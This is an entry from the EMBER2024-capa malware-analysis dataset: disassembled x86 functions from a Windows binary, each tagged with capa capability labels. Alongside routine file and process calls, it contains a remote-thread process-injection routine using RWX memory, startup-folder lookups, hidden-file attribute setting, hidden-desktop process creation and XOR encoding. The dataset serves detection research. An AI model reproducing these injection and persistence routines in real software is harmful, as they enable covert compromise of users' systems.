joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42fbf4
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x42fcbe
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [0x4669b0]
mov ecx, dword [ecx]
lea eax, [ebp - 0xc]
mov edx, 0x42fcd4
call fcn.004046f8
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404c1c
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42fc91
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 7
mov eax, dword [ebp - 4]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404bc4
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0x42fcdc
mov eax, ebx
mov edx, 3
call fcn.00404d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fc98
mov eax, dword [ebp - 4]
push eax
call sub.ole32.dll_CoTaskMemFree
ret

Function at 0x42fce8
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42fdb3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0043616c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, 0x42fdc8
call fcn.004046f8
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.004375bc
test al, al
jne 0x42fd98
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42fd79
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 7
mov eax, dword [ebp - 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004053d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fd80
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fdba
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404410
ret

Function at 0x42fee8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42ff61
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ed4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x42ff74
mov edx, ebx
call fcn.00404ca8
mov eax, dword [ebp - 0x24]
call fcn.00404c2c
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0xc14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ff68
lea eax, [ebp - 0x24]
call fcn.00404a9c
ret
Function at 0x42ff7c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42fff5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ed4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x43000c
mov edx, ebx
call fcn.004046f8
mov eax, dword [ebp - 0x24]
call fcn.004048ac
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0xc14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fffc
lea eax, [ebp - 0x24]
call fcn.004043ec
ret

Function at 0x430010
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4300ae
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ed4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 2
lea eax, [ebp - 0x24]
mov ecx, 0x4300c8
mov edx, ebx
call fcn.004046f8
mov eax, dword [ebp - 0x24]
call fcn.004048ac
mov dword [ebp - 0x16], eax
lea eax, [ebp - 0x28]
mov ecx, 0x4300c8
mov edx, esi
call fcn.004046f8
mov eax, dword [ebp - 0x28]
call fcn.004048ac
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], 0x614
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4300b5
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404410
ret

Function at 0x4300cc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x430184
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x430198
call fcn.0043781c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.004375bc
test al, al
jne 0x430156
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43014f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 5
mov eax, dword [ebp - 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004053d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430156
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
ret
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040c908
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43018b
lea eax, [ebp - 0xc]
call fcn.004043ec
ret
Function at 0x4303ac
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.0040489c
mov eax, dword [ebp - 8]
call fcn.0040489c
xor eax, eax
push ebp
push 0x430595
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x466d24]
cmp byte [eax], 0
jne 0x4303ed
call fcn.0042b01c
test bl, bl
je 0x430481
cmp dword [ebp - 4], 0
jne 0x430408
lea eax, [ebp - 4]
mov edx, 0x4305b0
call fcn.00404484
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.00406ed4
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00406ed4
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004048ac
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x43047c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x28]
jmp 0x4304a4
mov byte [ebp - 9], 0
test esi, esi
je 0x43057a
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x43057a
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046ac
push eax
push 0
push esi
call fcn.0042b974
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4304e0
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046ac
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x43057a
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046ac
push eax
lea eax, [ebp - 8]
call fcn.00404904
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call fcn.0042ba0c
mov eax, dword [ebp - 8]
call fcn.004046ac
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x43052c
cmp eax, dword [esp]
pop edx
pop eax
jae 0x430550
jmp 0x430530
pop edx
pop eax
jge 0x430550
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046ac
push eax
lea eax, [ebp - 8]
call fcn.00404904
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x18]
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test bl, bl
jne 0x430572
push esi
call sub.kernel32.dll_CloseHandle
test edi, edi
jbe 0x43057a
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43059c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret
Function at 0x43381c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x433944
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x202
call fcn.00406ed4
mov dword [esp], 0x202
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameW
test eax, eax
je 0x43397e
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.00404f08
jmp 0x433985
mov eax, ebx
call fcn.00404a9c
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.00404c00
add esp, 0x208
pop ebx
ret

Function at 0x4339a0
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x101
call fcn.00406ed4
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x4339da
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.004049dc
jmp 0x4339e1
mov eax, ebx
call fcn.004043ec
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.0040465c
add esp, 0x108
pop ebx
ret

Function at 0x4339fc
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x433a78
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x26]
xor ecx, ecx
mov edx, 0x22
call fcn.004030cc
mov dword [ebp - 4], 0x11
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x26]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x433a5b
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x26]
mov ecx, 0x11
call fcn.00404c00
mov eax, dword [ebp - 0x2c]
mov edx, ebx
call fcn.00436664
jmp 0x433a62
mov eax, ebx
call fcn.004043ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x433a7f
lea eax, [ebp - 0x2c]
call fcn.00404a9c
ret

Function at 0x433e6c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov edi, edx
mov ebp, eax
mov eax, ebp
call fcn.004046ac
mov edx, eax
mov eax, dword [esp]
call fcn.004049dc
mov eax, ebp
call fcn.004046ac
mov esi, eax
test esi, esi
jle 0x433ec8
mov ebx, 1
mov eax, edi
call fcn.004046ac
push eax
mov eax, ebx
dec eax
pop edx
mov ecx, edx
cdq
idiv ecx
mov al, byte [edi + edx]
mov dl, byte [ebp + ebx - 1]
xor al, dl
push eax
mov eax, dword [esp + 4]
call fcn.00404904
pop edx
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x433e9b
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433f4c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004048ac
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x433f7a
test bl, 2
jne 0x433f7a
or ebx, 2
push ebx
mov eax, esi
call fcn.004048ac
push eax
call sub.kernel32.dll_SetFileAttributesA
pop esi
pop ebx
ret
Function at 0x434210
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
mov eax, dword [ebp - 8]
call fcn.0040489c
xor eax, eax
push ebp
push 0x434275
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.004048ac
push eax
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43427c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x4346ac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030cc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.004048ac
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.004048ac
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.004048ac
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x434752
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x43473d
inc esi
cmp esi, 0x7530
jg 0x434746
cmp dword [ebp - 0x10], 0x103
je 0x43471c
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x434760
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4347df
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00436540
mov edx, dword [ebp - 4]
mov eax, 0x4347f4
call fcn.00435010
test eax, eax
jle 0x4347a7
push 0
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
call fcn.00434bb0
mov ebx, eax
jmp 0x4347c9
push esi
push 0x434800
push 0x434800
mov eax, dword [ebp - 4]
call fcn.00404c2c
push eax
push 0x434804
push 0
call sub.shell32.dll_ShellExecuteW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4347e6
lea eax, [ebp - 4]
call fcn.00404a9c
ret
Function at 0x434bb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404f50
lea eax, [ebp - 8]
call fcn.00404f50
lea eax, [ebp - 0xc]
call fcn.00404f50
xor eax, eax
push ebp
push 0x434d84
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00404d58
je 0x434c33
push 0x434d98
push dword [ebp - 4]
push 0x434da0
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404d10
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081b4
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404afc
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406ed4
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406ed4
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404d58
jne 0x434cda
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c2c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c2c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x434d49
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404ca8
mov eax, dword [ebp - 0x6c]
call fcn.00404c2c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
jmp 0x434d49
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c2c
mov ebx, eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c2c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c2c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x434d49
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404ca8
mov eax, dword [ebp - 0x70]
call fcn.00404c2c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 8], 0
je 0x434d5c
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434d8b
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404ab4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ab4
ret
Function at 0x434da8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0040489c
mov eax, dword [ebp - 8]
call fcn.0040489c
mov eax, dword [ebp - 0xc]
call fcn.0040489c
xor eax, eax
push ebp
push 0x434fa1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x434e29
push 0x434fbc
push dword [ebp - 4]
push 0x434fc8
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.0040476c
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.00408164
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404484
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406ed4
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406ed4
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x434e7c
mov word [ebp - 0x30], 5
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, ebx
call fcn.004048ac
mov esi, eax
push esi
call sub.user32.dll_CreateDesktopA
mov dword [ebp - 0x58], esi
jmp 0x434e84
mov ax, word [ebp + 8]
mov word [ebp - 0x30], ax
cmp dword [ebp - 0xc], 0
jne 0x434ef7
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048ac
push eax
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x434f66
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004046f8
mov eax, dword [ebp - 0x6c]
call fcn.004048ac
push eax
push 0
call sub.kernel32.dll_CreateProcessA
jmp 0x434f66
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004048ac
mov ebx, eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048ac
push eax
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x434f66
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004046f8
mov eax, dword [ebp - 0x70]
call fcn.004048ac
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0x10], 0
je 0x434f79
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434fa8
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404410
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404410
ret
Function at 0x43509c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd88
push ebx
xor ebx, ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
call fcn.00404f50
lea eax, [ebp - 0xc]
call fcn.00404f50
xor eax, eax
push ebp
push 0x435231
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00434fcc
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x270]
mov ecx, 0x435244
mov edx, dword [ebp - 0x10]
call fcn.00404ca8
mov eax, dword [ebp - 0x270]
call fcn.00404c2c
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x4351df
xor eax, eax
push ebp
push 0x4351d8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x240]
mov ecx, 0x104
call fcn.00404c00
mov eax, dword [ebp - 0x18]
mov edx, 0x43524c
call fcn.00404d58
je 0x4351ad
mov eax, dword [ebp - 0x18]
mov edx, 0x435254
call fcn.00404d58
je 0x4351ad
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
call fcn.00404ca8
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00435010
test eax, eax
jle 0x4351ad
lea edx, [ebp - 0x274]
mov eax, dword [ebp - 0x14]
call fcn.00436664
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x435143
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4351df
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindClose_1
ret
lea edx, [ebp - 0x278]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x278]
mov eax, dword [ebp + 8]
call fcn.00404c1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435238
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0x270]
call fcn.00404a9c
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404ab4
ret
Function at 0x435500
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040489c
xor eax, eax
push ebp
push 0x4355bc
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x43559c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048ac
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x435592
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4355a6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4355c3
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x4356e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.00405700
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x4356c0]
call fcn.004058dc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x435731
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x43571e
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret